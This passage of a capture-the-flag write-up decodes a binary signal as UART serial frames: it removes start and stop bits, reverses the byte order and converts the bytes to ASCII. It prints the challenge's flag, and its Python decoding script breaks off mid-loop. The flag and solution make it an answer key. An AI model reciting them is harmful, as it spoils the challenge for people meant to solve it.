111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The UART is a Universal Asynchronous Receiver-Transmitter. UART data is transmitted by a serial code in the following format.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;High Waiting &lt;span style="color:#f92672"&gt;(&lt;/span&gt;1&lt;span style="color:#f92672"&gt;)&lt;/span&gt; bits - Start Bit &lt;span style="color:#f92672"&gt;(&lt;/span&gt;0&lt;span style="color:#f92672"&gt;)&lt;/span&gt; - &lt;span style="color:#ae81ff"&gt;8&lt;/span&gt; data bits &lt;span style="color:#f92672"&gt;(&lt;/span&gt;--------&lt;span style="color:#f92672"&gt;)&lt;/span&gt; - Stop Bit &lt;span style="color:#f92672"&gt;(&lt;/span&gt;1&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;As we noticed in the beginning we have a lot of &lt;code&gt;1&lt;/code&gt;&amp;rsquo;s, which means there is no data transmission and when the first &lt;code&gt;0&lt;/code&gt; is found it must be the &lt;strong&gt;Start Bit&lt;/strong&gt;, so the next 8 bits are the &lt;strong&gt;Data Bits&lt;/strong&gt; and then it continues with &lt;code&gt;1&lt;/code&gt;&amp;rsquo;s until the next &lt;code&gt;0&lt;/code&gt; is found.&lt;/p&gt;
&lt;p&gt;It is a very easy protocol and we can separete the given binary data with the scheme we just explained:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10100010&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;11000010&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;11001010&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;11000010&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;11011110&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10101100&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;11001100&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;01001100&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10001100&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;00101100&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10001100&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;11111010&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;11000110&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;00001100&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10110110&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10110110&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10101110&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;01110110&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10001100&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;11000110&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;00101100&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;11101100&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10001100&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;00001100&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;01110110&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;11111010&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10001100&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10101100&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;11111010&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;11001100&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;01101110&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;11001100&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;01001100&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10011110&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;11101110&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;00010110&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;11001100&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;01001100&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;11001100&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;11111010&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10001100&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;01110110&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;11111010&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;11001100&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10110110&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;00011100&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;11001100&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;00100110&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;00100110&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;11001100&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;00100110&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10000100&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10000100&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;00100110&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10101100&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;01001100&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10111110&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If we delete the start-stop bits, we have the raw data bytes:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;10100010&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;11000010&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;11001010&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;11000010&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;11011110&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10101100&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;11001100&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;01001100&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10001100&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;00101100&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10001100&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;11111010&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;11000110&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;00001100&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10110110&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10110110&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10101110&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;01110110&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10001100&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;11000110&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;00101100&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;11101100&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10001100&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;00001100&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;01110110&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;11111010&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10001100&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10101100&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;11111010&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;11001100&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;01101110&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;11001100&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;01001100&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10011110&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;11101110&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;00010110&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;11001100&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;01001100&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;11001100&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;11111010&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10001100&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;01110110&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;11111010&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;11001100&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10110110&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;00011100&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;11001100&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;00100110&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;00100110&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;11001100&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;00100110&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10000100&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10000100&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;00100110&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10101100&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;01001100&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10111110&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;But these are the data that are being transmitted so we need to reverse each byte because we are receiving them with the opposite order:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;01000101&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;01000011&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;01010011&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;01000011&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;01111011&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;00110101&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;00110011&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;00110010&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;00110001&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;00110100&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;00110001&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;01011111&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;01100011&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;00110000&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;01101101&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;01101101&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;01110101&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;01101110&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;00110001&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;01100011&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;00110100&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;00110111&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;00110001&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;00110000&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;01101110&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;01011111&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;00110001&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;00110101&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;01011111&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;00110011&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;01110110&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;00110011&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;00110010&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;01111001&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;01110111&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;01101000&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;00110011&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;00110010&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;00110011&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;01011111&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;00110001&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;01101110&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;01011111&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;00110011&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;01101101&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;00111000&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;00110011&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;01100100&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;01100100&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;00110011&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;01100100&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;00100001&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;00100001&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;01100100&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;00110101&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;00110010&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;01111101&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;These raw bytes can now by converted to ASCII characters, using like an online tool &lt;a href="https://www.rapidtables.com/convert/number/binary-to-ascii.html"&gt;from Rapid Tables&lt;/a&gt;, and we get:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ECSC&lt;span style="color:#f92672"&gt;{&lt;/span&gt;532141_c0mmun1c4710n_15_3v32ywh323_1n_3m83dd3d!!d52&lt;span style="color:#f92672"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This is our flag.&lt;/p&gt;
&lt;p&gt;Of course this task can be automated with a python script:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#!/usr/bin/python3&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;import&lt;/span&gt; sys
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;import&lt;/span&gt; binascii
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; __name__ &lt;span style="color:#f92672"&gt;==&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;__main__&amp;#39;&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; len(sys&lt;span style="color:#f92672"&gt;.&lt;/span&gt;argv) &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(&lt;span style="color:#e6db74"&gt;&amp;#39;Usage:&amp;#39;&lt;/span&gt;, sys&lt;span style="color:#f92672"&gt;.&lt;/span&gt;argv[&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;],&lt;span style="color:#e6db74"&gt;&amp;#39;&amp;lt;singal.txt&amp;gt;&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; exit(&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; file_name &lt;span style="color:#f92672"&gt;=&lt;/span&gt; sys&lt;span style="color:#f92672"&gt;.&lt;/span&gt;argv[&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;## Read bits to string&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;with&lt;/span&gt; open(file_name, &lt;span style="color:#e6db74"&gt;&amp;#39;r&amp;#39;&lt;/span&gt;) &lt;span style="color:#66d9ef"&gt;as&lt;/span&gt; fp:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; content &lt;span style="color:#f92672"&gt;=&lt;/span&gt; fp&lt;span style="color:#f92672"&gt;.&lt;/span&gt;read()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(&lt;span style="color:#e6db74"&gt;&amp;#39;----- Raw data: -----&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(content)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; flag_iter &lt;span style="color:#f92672"&gt;=&lt;/span&gt; []
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; uart_bytes &lt;span style="color:#f92672"&gt;=&lt;/span&gt; []
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; i, bit &lt;span style="color:#f92672"&gt;in&lt;/span&gt; enumerate(content):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (i &lt;span style="color:#f92672"&gt;in&lt;/span&gt; flag_iter):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;continue&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;## Check change of start and stop bit&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (content[i&lt;span style="color:#f92672"&gt;-&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;] &lt;span style="color:#f92672"&gt;==&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;1&amp;#39;&lt;/span&gt;) &lt;span style="color:#f92672"&gt;and&lt;/span&gt; (content[i] &lt;span style="color:#f92672"&gt;==&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;0&amp;#39;&lt;/span&gt;):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;## Keep 8 data bits&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; data_bits &lt;span style="color:#f92672"&gt;=&lt;/span&gt; content[i&lt;span style="color:#f92672"&gt;+&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;:i&lt;span style="color:#f92672"&gt;+&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;9&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# print(data_bits)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; uart_bytes&lt;span style="color:#f92672"&gt;.&lt;/span&gt;append(data_bits)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; flag_iter &lt;span style="color:#f92672"&gt;=&lt;/span&gt; list(range(i&lt;span style="color:#f92672"&gt;+&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, i&lt;span style="color:#f92672"&gt;+&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;9&lt;/span&gt;))
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# print(flag_iter)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(&lt;span style="color:#e6db74"&gt;&amp;#39;----- UART Bytes: -----&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(&lt;span style="color:#e6db74"&gt;&amp;#39; &amp;#39;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;join(uart_bytes))
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; uart_bytes_rev &lt;span style="color:#f92672"&gt;=&lt;/span&gt; []
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; byte &lt;span style="color:#f92672"&gt;in&lt;/span&gt; uart_bytes:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;## Reverse each byte&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; uart_bytes_rev&lt;span style="color:#f92672"&gt;.&lt;/span&gt;append(byte[::&lt;span style="color:#f92672"&gt;-&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;])
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(&lt;span style="color:#e6db74"&gt;&amp;#39;----- UART Bytes Reversed: -----&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(&lt;span style="color:#e6db74"&gt;&amp;#39; &amp;#39;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;join(uart_bytes_rev))
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; flag &lt;span style="color:#f92672"&gt;=&lt;/span&gt; []
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; byte &lt;span style="color:#f92672"&gt;in&lt;/span&gt; uart_bytes_rev:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ascii_num &lt;span style="color:#f92672"&gt;=&lt;/span&gt; int(byte, &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;)
